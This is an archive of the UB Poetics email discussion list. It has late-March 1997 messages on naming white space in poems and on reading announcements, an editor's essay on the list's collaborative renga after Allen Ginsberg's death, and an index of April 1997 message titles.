"[Yet] the inner ear is capable of an auditory complexity which exceeds almost any audible vocalizing: the latter tends to be reductive, if not falsifying, also it may straighten out shocks and distortions which, to the inner ear, are part of the real thing that is the voice in the text and the delight of the text. ... In performance, which should be the best instance, there occurs the falling away of mental entity from linguistic entity, or vice versa. The rift appears, gunfire and screams. ... The subtle differential harmonies of the text as voice, are these picked up by the ear alone? Possibly not. *The reader's eyes do part of the listaning, do their part in identifying and selecting sound-patterns, in the presence or audition of which a delight is experienced* ... " (asterisks supplied)

Anselm Hollo

↑ Index

887. **Bob Grumman**
Re: BP's Question / gaps caesurae lacunae
Mon 31 Mar 1997

[redacted] wrote:

> *As a veteran user of the device, I vote for Robert Duncan's "articulated silence" quoted in Dan Featherston's post of 28 March*

I, too like, "art
iculated sile
nce," but as
in straight English
, it would seem to applynot just to what I'm now calling "white caesurae" but other sorts of silences in poetry such as those made by indentations from left or right, and by . . . vertical indentations like

this. --Bob G

↑ Index

888. **Bob Grumman**
A Quick Minor Correction of Preceding Message
Mon 31 Mar 1997

Apologies, but I hit the Send button too soon. Here's what I meant to say:

[redacted] wrote:

"As a veteran user of the device, I vote for Robert Duncan's articulated
silence" quoted in Dan Featherston's post of 28 March."

I, too like, "art
iculated sile
nce," but
in straight English
, it would seem to apply not just to what I'm now calling "white caesurae" but other sorts of silences in poetry such as those made by indentations from left or right, and by . . . vertical indentations like

this. --Bob G

↑ Index

889. Dodie Bellamy
Small Press Traffic enters the electronic age
Mon 31 Mar 1997

Just a note to let you all know that Small Press Traffic now has e-mail--and that those of you who have Small Press Traffic business can now e-mail Small Press Traffic directly at this address (rather than my home address).

The one BIG exception: if you're doing a review for the next Traffic newsletter, please continue to write to my home address since Kevin is helping me on that project.

SPT also now has a website where Traffic reviews and info on upcoming events will be available. I'll notify you all about that once we upload some information to that site.

Thanks.

Dodie

_____

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110 415/[redacted]

↑ Index

890. Steve Carll
Upcoming Canessa Park Readings
Mon 31 Mar 1997

Canessa Park Reading Series

April 1997

Monday April 14th @ 8 p.m.

Avery E. D. Burns
San Francisco

&

Ron Silliman
Paoli, PA

(Please Note the Date & Time)

Sunday April 20th @ 3 p.m.

Robert Grenier
Bolinas

&

Fanny Howe
San Diego

Sunday April 27th @ 3 p.m.

Michael Boughn
Toronto, Canada

Brian Lucas
San Francisco

Kristin Prevallet
Buffalo, N.Y.

*

Canessa Park Gallery
708 Montgomery St. (at Columbus)
Admission $5

Avery E. D. Burns s book Differing Senses of Motion came out on lyric& in 1996. Recent poems appear in First Intensity, Antenym, and Angle. He edits the magazine lyric&.

Ron Silliman s newest addition to the alphabet is Xing (Meow Press). Recent poems appear in XCurrent, Famous Reporter, and Proliferation. Ron feels partly responsible for the publication of Araki Yasusada s book of poems.

Robert Grenier s most recent book of poems is What I Believe - Transcriptions/Transpiring - Minnesota on O Books. Issue 1:24 of that: magazine contains recent poems, also Issue 2:1contains a talk on his recent work - r h y m m s.

Fanny Howe s recent books are The End (Littoral) and O Clock (Reality Street Editions). A new collection is due out from Greywolf in a few months. Poems appear in Grand Street, Conjunctions and Chain. She teaches at U.C. San Diego.

Michael Boughn srecent book is Iterations of the Diagonal on shuffaloff, also H.D.: A Bibliography 1905-1990 on Univ. Of Virginia. He has poems in Hambone, First Intensity, Phoebe, and the recent Gertrude Stein Awards for Innovative Poetry anthology.

Brian Lucas s samizdat Limber is just out. His poems have appeared in Mirage, lyric&, and Angle, a new magazine which he edits.

Kristin Prevallet s new book is Lead Glass and Poppy on Primative Publications. She co-edits the magazine apex of the M, a magazine in which her work appears as well as First Intensity, Mirage, and Sulfur.

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

891. Dave Zauhar
Re: denver conference...
Mon 31 Mar 1997

Hate to impose on you folks who are going (not just Joe A.), but I'd be grateful for postings -- however impressionisitc and quirky -- concerning the proceedings.

Hope it's as interesting as it should be

DZ

> *just to say that i'll be on my way in a few days to the upcoming denver conference on "the marriage of writers and critics," and i hope to see/meet some of you there...*
>
> *best,*
>
> *joe*

↑ Index

892. Jordan Davis
Kenneth Goldsmith / Carl Watson @ Poetry City
Mon 31 Mar 1997

Friday April 4
7 pm

Kenneth Goldsmith
natural-born compiler

and

Carl Watson
ancient boyscout

read from their various recently published works --

it's free --
we'll have their books --
it's at 5 Union Square West, NY on the 7th floor --

hope you can make it --

Jordan

↑ Index

893. Steven Marks
Re: A Quick Minor Correction of Preceding Message
Mon 31 Mar 1997

On Mon, 31 Mar 1997, Bob Grumman wrote:

> *, it would seem to*
> *apply not just to what I'm now calling "white caesurae"*

white caesurae -- This gets my vote. Indicates both the visual and the breath gap in a term that seems to suggest a mythological creature.

Beware the white caesurae,
its whooshing nay, its wonky eye.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

894. hernry ghould
Re: A Quick Minor Correction of Preceding Message
Mon 31 Mar 1997

I think Moby might give it the
flukes down. How about
"suspension"?

a sonnet with suspensions
(somewhere between lacunae caesurae & suspirae)

i.e. flying mattresses maitresses
iron
lava

or
ore (the Name
for this Fib relation)

Rib rire

(Sarah laughed) about J

Just harmonica Joe
just a suspension (Je est un jest uh)
:) = suspended +) +

- Hale-Bopp (what's in a name?)

↑ Index

895. **Bob Grumman**
A Technickal Readjustment
Mon 31 Mar 1997

Steven Marks wrote:

On Mon, 31 Mar 1997, Bob Grumman wrote:

> *white caesurae -- This gets my vote. Indicates both the visual and the breath gap in a term that seems to suggest a mythological creature.*
>
> *Beware the white caesurae,*
> *its whooshing nay, its wonky eye.*

Thanks much for the vote, Steven--but for some reason your bringing the mythological creature into it made me decide that the proper term really is "caesurae albae." (Just kidding--I think.)

↑ Index

896. **Bob Grumman**
Re: A Technickal Readjustment
Mon 31 Mar 1997

Looks like I'll be sending everything twice. Here's the correct version of my previous message:

Steven Marks wrote:

> *white caesurae -- This gets my vote. Indicates both the visual and the breath gap in a term that seems to suggest a mythological creature.*

> *Beware the white caesurae,*
> *its whooshing nay, its wonky eye.*

Thanks much for the vote, Steven--but for some reason your bringing the mythological creature into it made me decide that the proper term really is "caesurae albae." (Just kidding--I think.)

↑ Index

897. **Daniel Zimmerman**

Re: A Quick Minor Correction of Preceding Message

Tue 1 Apr 1997

---

hernry ghould wrote:
>
> I think Moby might give it the
> flukes down. How about
> "suspension"?
>
> a sonnet with suspensions
> (somewhere between lacunae caesurae & suspirae)
>
> i.e. flying mattresses maitresses
> iron
> lava
>
> or
> ore (the Name
> for this Fib relation)
>
> Rib rire
>
> (Sarah laughed) about J
>
> Just harmonica Joe
> just a suspension (Je est un jest uh)
> :) = suspended +) +
>
> - Hale-Bopp (what's in a name?)

just weight

in these paces oh
replaces the uh

uh of
uh-oh

breathing space
a birth scene gap has a big percent

absence? graph it
I can't grasp sheep

brain tag speech
graphic base ten

Daniel Zimmerman

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1997

990 messages · Tue 1 Apr 1997 – Thu 1 May 1997

On the fourth of April Charles Bernstein posted three sentences: Allen Ginsberg had been diagnosed with liver cancer, it was in the papers that morning, and everyone reading would be having the reaction he was having. *“Allen Ginsberg has been with me all my life”*, he wrote. Ginsberg died the following evening. This list, which in fourteen months had let a comet, two aircraft, a bombing, an election, a cult and a woman on fire go past without comment, produced a hundred and six letters, and what it did with them is the most extraordinary thing in this archive.

Maria Damon moved first, the same afternoon, while he was still alive: *“shall we write a group poem/renga/range of affection”* for Allen Ginsberg? And then, to a room already reaching for the past tense, the correction that does her enormous credit — could we not, she asked, talk about him as if he were already gone. Somebody else start, she said. Wendy Battin started. Her line was a question: *“since death is so pornographic, where can they sell it”*. Kent Johnson followed with willow leaves in a garden, a braille page of words; Daniel Zimmerman gave the wind as a simultaneous translation; Alan Sondheim gave the fifth line, which reads, in its entirety, *“nothing has happened, no one has died”*.

It was Sondheim who posted, hours later, that WCBS had just announced it. The renga was mid-composition. Nobody stopped. David Israel had by then appointed himself the thing’s editor, and what he was doing — I did not see it until I had read the month twice — was building the poem out of the list’s own mail. Not lines written for a renga: lines lifted from what people were actually posting, renumbered. Kent Johnson’s real message asking *“Is anyone else out there crying too?”* becomes line ten. Damon’s reply is eleven and twelve: not yet, just having a quiet time; *“it’s raining outside, like it’s crying in my heart”*. Pat Pritchett remembering a meal — *“we were all eating veggie burgers and watermelon”*, thinking how frail Allen looked — is fourteen.

Ten days later Rachel Loden posted a link to Marjorie Perloff’s new article in the Boston Review, on the Araki Yasusada affair: the Hiroshima survivor whose grieving, beautiful poems had moved everybody and who had never existed. It would be fascinating, Loden noted, *“especially in present company”*, which everyone understood, since the man most people believed had written Yasusada was on the list and had just supplied four lines of the Ginsberg renga. The room

spent a fortnight on whether a poem by a man who was never there can be any good. It is a serious question. It had been answered upstairs, in the other thread, on the fifth.

Because Israel's renga runs to sixteen lines. Line five says nothing has happened and no one has died, and by the time it was numbered its author had already told the list otherwise. Line sixteen — the last anybody added, after which the poem stops — is Kenneth Goldsmith relaying that *"Ginsberg's body is lying in state"* at the Shambhala Center on West 22nd Street, and that Usenet advises you call first. That is the arc: a room proposing a poem of affection for a living man on the Friday afternoon and finishing it, on the Saturday, with an address and a telephone number. Israel saw it happening and put it in a parenthesis, and I have left his parenthesis where he set it: the death-announcement, he noted, *"occurred mid-Renga"*.

— Kristen M. Fabians

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85. Alan Jen Sondheim — Re: Allen Ginsberg
86. Alan Jen Sondheim — Re: Allen Ginsberg
87. Mark Weiss — Re: Time Change
88. Alan Jen Sondheim — Form silliness
89. Alan Jen Sondheim — Re: renga

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90. Daniel Zimmerman — Re: Allen Ginsberg's death
91. Aldon L. Nielsen — Re: elephant's memory
92. George Bowering — Re: Time Change
93. Daniel Zimmerman — Re: Allen Ginsberg's death
94. Daniel Zimmerman — Re: Allen Ginsberg
95. KENT JOHNSON — Re: Allen Ginsberg
96. Daniel Zimmerman — Re: Allen Ginsberg
97. Daniel Zimmerman — Re: Allen Ginsberg
98. Daniel Zimmerman — Re: renga
99. Rob Hardin — Visit Lou Stathis at the Columbia Presbyterian Hospital

100. David Bromige — poem
101. Miekal And — Re: Allen Ginsberg +
102. KENT JOHNSON — Memorial services
103. simon — Re: Time Change
104. KENT JOHNSON — Re: apology
105. Rachel Loden — Re: poem
106. Herb Levy — Re: Ah
107. Alan Jen Sondheim — Allen Ginsberg +
108. Joseph Zitt — Re: Allen Ginsberg
109. Maria Damon — Re: Allen Ginsberg
110. nuyopoman — Allen Ginsberg's Death
111. nuyopoman — Re: Ginsberg's Death
112. michael corbin — Re: Allen Ginsberg +
113. Alan Jen Sondheim — Re: Allen Ginsberg
114. Alan Jen Sondheim — html-body
115. Mark Weiss — (no subject)
116. Maria Damon — Re: Allen Ginsberg
117. Pritchett,Pat — Re: Allen Ginsberg
118. David Israel — cyberRenga for Ginsberg
119. Joseph Zitt — Re: renga
120. David Israel — Re: cyberRenga for Ginsberg
121. Charles Bernstein — Allen Ginsberg (1926-1997)
122. Kenneth Goldsmith — Ginsberg's Body Lies In State
123. David Israel — Re: cyberRenga for Ginsberg
124. David Israel — Re: cyberRenga for Ginsberg
125. David Israel — Re: cyberRenga for Ginsberg
126. Pritchett,Pat — Re: cyberRenga for Ginsberg
127. Peter Jaeger — Allen Ginsberg
128. David Israel — Re: cyberRenga for Ginsberg
129. Joseph Zitt — Re: cyberRenga for Ginsberg
130. David Israel — apology
131. Aldon L. Nielsen — Re: the rhythm, the rhythm
132. Grant Jenkins — Re: cyberRenga for Ginsberg
133. Susan Wheeler — Re: Memorial services
134. shoemakers — Re: Allen Ginsberg / No Apologies
135. George Bowering — Re: Allen Ginsberg (1926-1997)
136. shoemakers — ginsdead.htm

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137. nuyopoman — Allen Ginsberg's Death
138. Schuchat Simon — Allen dead
139. nico vassilakis — eternity queueing
140. Joseph Zitt — Re: Allen Ginsberg's Death
141. Maria Damon — Ginsberg
142. Loss Glazier — Ginsberg
143. Joel Kuszai — Re: Ginsberg
144. Andrew D Epstein — Re: Ginsberg
145. Alan Jen Sondheim — for AG
146. sschu30844 — Re: Allen Ginsberg's Death
147. Burt Kimmelman — Re: Allen Ginsberg's Death
148. Steven Marks — Re: Ginsberg
149. Don Cheney — First Typo, Best Typo
150. Marjorie Perloff — Re: Allen's death
151. henry g — my Ginsberg story
152. Michael Magee — Re: Ginsberg
153. Poetics List — Forwarded mail....Re: Ginsberg

154. David Bromige — Jamie Reid's eulogy for A.G.
155. Maria Damon (Maria Damon) — Re: Ginsberg NY Times obit

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156. Loss Glazier — EPC Correspondence
157. T-Bone Prone — Re: Ginsberg
158. Pete Landers — Re: my Ginsberg story
159. Susan Wheeler — Services update
160. Douglas — Allen Ginsberg poem
161. Mark Prejsnar — Re: Time Change
162. Douglas — Re. Allen Ginsberg poem
163. David Bromige — detention with a red headed woman
164. MAXINE CHERNOFF — 70th Birthday Party
165. Aldon L. Nielsen — Re: One who is still among us
166. Jerry Rothenberg — San Diego Readings
167. Michael Leddy — Ginsberg NY Times obit
168. Ryan Whyte — 90 Neuf Zero
169. henry gould — Re: Ginsberg NY Times obit
170. John Cayley — Cyber/Poetextual Readings in London
171. Pritchett,Pat — Re: naked
172. Kenneth Goldsmith — "Kaddish for Allen Ginsberg" Playlist
173. Aldon L. Nielsen — this week's Inuit show... (fwd)
174. k.a. hehir — help
175. shoemakers — Re: "Kaddish for Allen Ginsberg" Playlist
176. charssmith — Re: help
177. charssmith — Blaser in Santa Cruz
178. Jerry Rothenberg — Re: help
179. David Bromige — Nick, are you there?

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180. Charles Bernstein — Boston Area Reading
181. Maria Damon — Re: help
182. Maria Damon — Re: Boston Area Reading
183. Maria Damon — XCP: the journal!!!
184. henry gould — Re: Poetic Briefs
185. Sylvester Pollet — Readings
186. Jeff Hansen — Poetic Briefs
187. Joel Lewis — Allen Ginsberg
188. George Bowering — Re: detention with a red headed woman
189. amato — denver conference etc...
190. Joshua N Schuster — Wieners Celebration
191. luigi — Re: Nick, are you there?
192. Jordan Davis — Taylor Mead / Tony Medina @ Poetry City
193. David Bromige — Nick Found
194. Charles Bernstein — Ginsberg Memorial
195. Maria Damon (Maria Damon) — Re: Allen Ginsberg
196. Maria Damon (Maria Damon) — Re: wind on the way
197. Maria Damon — Re: Ginsberg Memorial
198. Alan Jen Sondheim — 103

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199. Maria Damon (Maria Damon) — Poetic Offspring
200. Gabrielle Welford — CBS SPEWS - Latest Article by Mumia Abu-Jamal (fwd)
201. David Bromige — The Don Allan Anthology
202. jdhollo — no digests for 2 days?
203. Maria Damon (Maria Damon) — Re: Poetic Offspring
204. Marjorie Perloff — Re: Allen Ginsberg

205. Charles Alexander — come on down
206. KENT JOHNSON — Re: Poetic Offspring
207. maz881 — wind on the way
208. William Burmeister Prod — Re: wind on the way
209. CHRIS MANN — (no subject)
210. dbkk — The Stranger gets stranger
211. robert zamsky — Message to Maria D.
212. David Bromige — Will's inches of ink
213. Carl Lynden Peters — Re: wind on the way
214. LYNES- KATHERINE — Re: Nick, are you there?
215. Mark Weiss — Re: Nick, are you there?
216. linda v. russo — Allen Ginsburg
217. P.Standard Schaefer — C.O.N.S.
218. Michael Boughn — Re: wind on the way
219. Steve Carll — Golden Gate Park reading April 5
220. Christopher Alexander — Re: Nick, are you there?
221. David Bromige — Don Allan Anthology
222. Christopher Alexander — Re: denver conference etc...

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223. George Bowering — Re: Allen GinsbErg
224. dbkk — Re: denver conference etc...
225. KENT JOHNSON — Re: Allen GinsbErg
226. David Bromige — George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
227. Schuchat Simon — Re: The Don Allan Anthology
228. Rachel Loden — Re: The Don Allan Anthology
229. KENT JOHNSON — Re: Will's column
230. Sylvester Pollet — Re: The Don Allan Anthology
231. Dale Smith — Re: Will's column/ my reply
232. Chris Stroffolino — LAURA NYRO (one child born to carry on, etc....)
233. Diane Marie Ward — Re: LAURA NYRO (one child born to carry on, etc....)
234. Douglas Barbour — Re: wind on the way
235. Christopher Alexander — Re: Allen GinsbErg
236. Christopher Alexander — Re: denver conference etc...
237. Steven Marks — Re: LAURA NYRO (one child born to carry on, etc....)
238. henry gould — EPR ?
239. David Kellogg — Re: LAURA NYRO (one child born to carry on, etc....)
240. KENT JOHNSON — Re: Will's column/ my reply
241. Field of Roses — Re: LAURA NYRO (one child born to carry on, etc....)
242. Maria Damon — Re: wind on the way
243. Dale Smith — Re: Will's column/ my reply
244. dbkk — Re: LAURA NYRO (one child born to carry on, etc....)
245. Pritchett,Pat — Re: LAURA NYRO (one child born to carry
246. Daniel Bouchard — Will's column/ my reply
247. Charles Bernstein — Re: LAURA NYRO (one child born to carry on, etc....)
248. Gwyn McVay — Re: Will's column/ my reply
249. Maria Damon — Re: Will's column/ my reply
250. Mark Weiss — (no subject)
251. Maria Damon — MacLow piece
252. Pritchett,Pat — Re: Will's column/ my reply
253. Aldon L. Nielsen — Re: The Will of King George
254. Michael Magee — Re: Will's column/ my reply
255. maz881 — orbit
256. michael corbin — Re: Will's column/ my reply
257. acgold01 — Doug Messerli's e-address
258. George Bowering — Re: The Don Allan Anthology

259. George Bowering — Re: LAURA NYRO (one child born to carry on, etc....)
260. Mainstream — conference
261. Mark Weiss — Re: Will's column/ my reply
262. Maria Damon (Maria Damon) — Re: allen g. the millionaire
263. sschu30844 — Re: Will's column/ my reply
264. Alan Jen Sondheim — John Barton Wolgamot

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265. Dale Smith — Re: Will's column/ my reply
266. cris cheek — Re: Bromide's 'honky commas'
267. Charles Alexander — possibility?
268. henry — Re: Will's column/ my reply
269. henry — Re: orbit
270. linda v. russo — Re: The Don Allan Anthology
271. David Bromige — The Don Allan Apology
272. jarnot — allen g. the millionaire
273. Michael Magee — Ginsberg and the Gap
274. Charles Bernstein — New York City Poetry Calendar
275. Hank Lazer — Re: AG & the columnists
276. Jerry McGuire — searching
277. Charles Bernstein — Re: Ginsberg and the Gap
278. Piombino/Simon — Planned Parenthood Benefit Reading
279. Pritchett,Pat — Re: allen g. the millionaire
280. KENT JOHNSON — Re: Will's column/ my reply
281. KENT JOHNSON — ginsberg and snyder
282. KENT JOHNSON — Re: The Don Allan Anthology
283. KENT JOHNSON — Re: orbit
284. KENT JOHNSON — on being angry at george will
285. Mark Prejsnar — Re: Will's column/ my reply
286. Michael Boughn — Re: Will's column/ my reply
287. nuyopoman — Readings
288. William Burmeister Prod — Re: orbit
289. William Burmeister Prod — G. Swill caught perturbating infragrante delicto
290. Rachel Loden — Re: orbit
291. Hugh Steinberg — Re: AG & the columnists
292. Thomas M. Orange — belated respects
293. Hoa Nguyen — Ginsberg
294. Thomas M. Orange — Re: belated respects
295. Daniel Bouchard — Re: Will's column
296. Mark Weiss — Re: Will's column/ my reply
297. DS — Re: Will's column/ my reply
298. aerialedge — Re: Will's column/ my reply
299. Hugh Steinberg — Re: Planned Parenthood Benefit Reading
300. sschu30844 — Re: Will's column/ my reply
301. Jordan Davis — POETPOETRRYCITRYCITTYY
302. henry gould — Re: Will's column/ my reply

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303. Aldon L. Nielsen — Re: SouthBay
304. Alan Jen Sondheim — lure/id
305. KENT JOHNSON — snyder/gap/ginsberg
306. KENT JOHNSON — Re: Ginsberg
307. Maria Damon — Re: Ginsberg
308. Maria Damon — Re: Will's column/ my reply
309. Dave Zauhar — Re: Will's column
310. KENT JOHNSON — Re: cardinal in spring snow?
311. Maria Damon — Re: Will's column/ my reply

312. Herb Levy — Ginsberg, Nyro, & media coverage for the arts
313. Christopher Alexander — Re: Will's column/ my reply
314. Piombino/Simon — Re: Planned Parenthood Benefit Reading
315. Christopher Alexander — Re: on being angry at george will
316. Jennifer Ashton — Lyn Hejinian's address
317. Keith Norris — Re: Will's column
318. Christopher Alexander — Re: The Don Allan Anthology
319. nuyopoman — Re: POETICS Digest - 10 Apr 1997 to 11 Apr 1997
320. nuyopoman — Holman Reading
321. Mark Weiss — Re: Will's column/ my reply
322. David Bromige — Triumph and the Will
323. Mark Weiss — (no subject)
324. Pritchett,Pat — Re: buy this book!
325. Dean Taciuch — Re: Will's column/ my reply
326. Piombino/Simon — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
327. Sylvester Pollet — Hale-Bopp Forward
328. henry gould — GWAG
329. Dave Zauhar — Re: The poetry of Muhammad Ali
330. David Bromige — Reading backwards
331. Thomas Bell — ginsberg and snyder
332. Thomas Bell — (no subject)

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333. Stephen Vincent — Re: The poetry of Muhammad Ali
334. MAXINE CHERNOFF — History Is Rewritten
335. Tom Mandel — George may choose
336. linda v. russo — Will/[my]reply
337. linda v. russo — Re: The Don Allan Apology
338. George Free — Anne Waldman's AG poem
339. Maria Damon — Re: Ginsberg
340. Maria Damon — Re: The poetry of Muhammad Ali
341. Maria Damon — Re: History Is Rewritten
342. Maria Damon — Re: George may choose
343. Bobbie West — Re: History is Rewritten
344. Jeffrey W. Timmons — Re: History is Rewritten
345. Keith Norris — Re: ali
346. amato — reading list...
347. Louis Cabri — Re: AG & the columnists
348. Gwyn McVay — Re: The Don Allan Apology
349. Herb Levy — Re: John Barton Wolgamot
350. Dave Zauhar — Re: History is Rewritten
351. Mark Weiss — Re: History Is Rewritten
352. cris cheek — Election news
353. Steve Carll — Change of Address
354. Maria Damon — Re: ali
355. KENT JOHNSON — Re: yo marjorie!
356. Alan Jen Sondheim — Re: John Barton Wolgamot
357. KENT JOHNSON — Re: yo marjorie!
358. Maria Damon (Maria Damon) — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd ci…

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359. michael corbin — Re: History is Rewritten
360. Chris Stroffolino — So How did The Weiners I mean Wieners event go?
361. George Bowering — Re: The Don Allan Anthology
362. George Bowering — Re: foundling fathers
363. George Bowering — Re: ginsberg and snyder

364. Maria Damon (Maria Damon) — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd ci…
365. Pierre Joris — Re: Reading backwards
366. Mark Weiss — Re: Reading backwards
367. Dale Smith — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
368. Dale Smith — Re: Will's column
369. Michael Boughn — Re: History is Rewritten
370. Dale Smith — Re: Will's column
371. Christine Palma — Re: media coverage for the arts(long reply)
372. Maria Damon — yo marjorie!
373. Maria Damon — Re: The poetry of Muhammad Ali
374. Maria Damon — Re: Change of Address
375. amato — michael dorris...
376. Hank Lazer — Re: foundling fathers
377. Christopher Alexander — Re: History Is Rewritten
378. Christopher Alexander — Re: Triumph and the Will
379. henry gould — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
380. Daniel Bouchard — excerpt
381. Piombino/Simon — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
382. Sylvester Pollet — Will's Column
383. Pritchett,Pat — Re: George may choose
384. LYNES- KATHERINE — Re: Planned Parenthood Benefit Reading
385. yuri-g — Re: Lyn Hejinian's address
386. henry gould — Re: Will's column
387. dbkk — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
388. Daniel Bouchard — Fifth Column
389. Eliza McGrand- CVA Guest — Re: Fifth Column
390. michael corbin — Re: History is Rewritten
391. amato — Re: Fifth Column
392. Jordan Davis — Imaginary Interview Question
393. Michael Magee — Re: Will's column
394. Daniel Bouchard — What I Want: An Essay
395. Daniel Bouchard — What I Want: An Essay
396. Michael Boughn — Re: George Wills and the Imago of Alan Ginsbuerg,
397. dbkk — Re: Fifth Column
398. dbkk — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
399. henry — Re: Will's column
400. henry — Re: Imaginary Interview Question
401. Christopher Alexander — Re: Will's column
402. Sylvester Pollet — Re: Imaginary Interview Question
403. Jordan Davis — Another Imaginary Interview Question
404. Don Cheney — Re: Imaginary Interview Question
405. William Burmeister Prod — Re: Imaginary Interview Question
406. Christopher Alexander — Re: Imaginary Interview Question
407. Matthias Regan — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The…
408. Matthias Regan — Re: PPBR - addresses of events
409. LYNES- KATHERINE — Re: Imaginary Interview Question
410. Matthias Regan — Re: Imaginary Interview Question
411. Mark Weiss — Re: What I Want: An Essay
412. Mark Weiss — Re: History is Rewritten
413. Keith Norris — read my will at the houseparty
414. Bob Grumman — Possible Omissions in the Now-Classical Anthologies
415. Jeffrey W. Timmons — Re: History is Rewritten
416. Jeffrey W. Timmons — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
417. nuyopoman — Re: WBA

418. Schuchat Simon — Re: Imaginary Interview Question
419. nuyopoman — Ginsberg the Rock Star
420. KYLE CONNER/LRC-CAHS — Re: So How did The Weiners I mean Wieners event go?

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421. dbkk — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
422. Alan Jen Sondheim — Decoding My Life (Come to This)
423. George Bowering — Re: Fascists and others
424. Joshua N Schuster — wieners evening
425. Pierre Joris — Re: Imaginary Interview Question
426. Rachel Loden — Perloff on Yasusada
427. Mainstream — advert
428. Mainstream — advert
429. Poetics List — Re: POETICS Digest - 7 Apr 1997 to 8 Apr 1997
430. Herb Levy — Re: media coverage for the arts(long reply)
431. Mark Wallace — Is anybody still discussing Bob Perelman
432. Tom Mandel — float/sting
433. Tom Mandel — dale and daniel
434. Douglas Barbour — Re: Imaginary Interview Question
435. David Bromige — The is-anybody-still-discussing thread
436. bertram mourits — the poetry of Muhammad Ali
437. bruja — Re: poem... (fwd)
438. Joe Safdie — Re: Imaginary Interview Question
439. Eliza McGrand- CVA Guest — Re: Imaginary Interview Question
440. Hoa Nguyen — Re: Will's column/ Daniel Bouchard
441. Jordan Davis — hello poetics wake up!
442. Rachel Kubie — Knott/AG
443. David Bromige — If this is still under discussion . . .
444. Thomas Bell — Re: ginsberg and snyder
445. Alan Jen Sondheim — Re: Imaginary Interview Question
446. Charles Alexander — Re: Imaginary Interview Question
447. Charles Alexander — Re: float/sting

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448. Steven Marks — Re: Imaginary Interview Question
449. michael corbin — Re: History is Rewritten
450. Maria Damon (Maria Damon) — Re: float/sting
451. Stephen Vincent — Re: float/sting
452. Hugh Steinberg — Re: Imaginary Interview Question
453. MAXINE CHERNOFF — Re: Ginsberg the Rock Star
454. Charles Alexander — Re: float/sting
455. Dale Smith — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Ope…
456. Michael Boughn — Re: History is Rewritten
457. Henry Gould — Re: Imaginary Interview Question
458. Maria Damon — Re: advert
459. Maria Damon — Re: float/sting
460. Maria Damon — Re: float/sting
461. KENT JOHNSON — The New Party
462. Mark Prejsnar — Re: Is anybody still discussing Bob Perelman
463. amato — Re: Is anybody still discussing Bob Perelman
464. Michael Boughn — Re: float/sting
465. Issa Clubb — Re: WBA
466. Daniel Zimmerman — Re: float/sting
467. amato — Re: Is anybody still discussing Bob Perelman
468. Michael Franco — CHARLES BERNSTEIN IN BOSTON
469. Joel Kuszai — Help!

470. simon — Re: Imaginary Interview Question
471. aerialedge — _perhaps this is a rescue fantasy_ by Heather Fuller
472. Christina Fairbank Chirot — Re: Will's column/Plus ca change . . .
473. Charles Bernstein — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: ...
474. Alan Jen Sondheim — Re: Will's column/Plus ca change . . .
475. henry g — Re: The is-anybody-still-discussing thread
476. Keith Tuma — Re: Is anybody still discussing Bob Perelman
477. Hugh Steinberg — Re: float/sting
478. Pritchett,Pat — FW: The Greatest
479. Christopher Reiner — found poem
480. Mark Weiss — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Ope...
481. Mark Weiss — Re: Is anybody still discussing Bob Perelman
482. Jordan Davis — Nationalismo
483. Ken Edwards — Ginsberg PS
484. Jordan Davis — Re: Is anybody still dissing
485. Pritchett,Pat — Re: float/sting
486. Joe Safdie — Re: The is-anybody-still-discussing thread
487. Joe Safdie — Re: Will's column/Plus ca change . . .
488. George Bowering — Re: ginsberg and snyder
489. Daniel Zimmerman — Re: float/sting
490. Dave Zauhar — Re: FW: The Greatest (a variant reading, perhaps)
491. George Bowering — Re: Moore
492. DS — Re: Is anybody still discussing Bob Perelman
493. Keith Tuma — Re: Is anybody still discussing Bob Perelman
494. AARON SHURIN — Re: Paging Mr. Mossin
495. David Israel — if not to lurk
496. David Israel — erratum
497. Small Press Traffic — McCaffery and Willis rock SF
498. henry gould — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Op...
499. KYLE CONNER/LRC-CAHS — Re: found poem

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500. George Bowering — Re: Is anybody still discussing Bob Perelman
501. David Bromige — if this is still under discussion
502. Jeffrey W. Timmons — Re: History is Rewritten
503. henry gould — Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Op...
504. Keith Norris — roofless in seattle
505. Jeff Hansen — Bromige-Safdie
506. Keith Norris — Re: Is anybody still discussing Bob Perelman
507. Mark Prejsnar — Re: Is anybody still discussing Bob Perelman
508. Jerry McGuire — Re: POETICS Digest - 15 Apr 1997 to 16 Apr 1997
509. Matthias Regan — Re: found poem
510. Michael Franco — Joe Dunn
511. LYNES- KATHERINE — Re: if not to lurk
512. LYNES- KATHERINE — Re: if not to lurk
513. michael corbin — Re: If this is still under discussion . . .
514. Joe Safdie — Re: If this is still under discussion . . .
515. linda v. russo — Re: History Is A Rumor
516. linda v. russo — Re: Knott/AG
517. David Bromige — Bromige-Safdie
518. robert zamsky — Re: The is-anybody-still-discussing thread
519. Hoa Nguyen — Re: What is white
520. Thomas Bell — Re: found poem

521. Thomas Bell — Re: ginsberg and snyder
522. Christopher Alexander — Begin migration of all users to new
523. Christopher Alexander — Oh, dammit not again
524. Herb Levy — Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
525. Maria Damon (Maria Damon) — call for essays
526. Jeffrey W. Timmons — Re: What is white
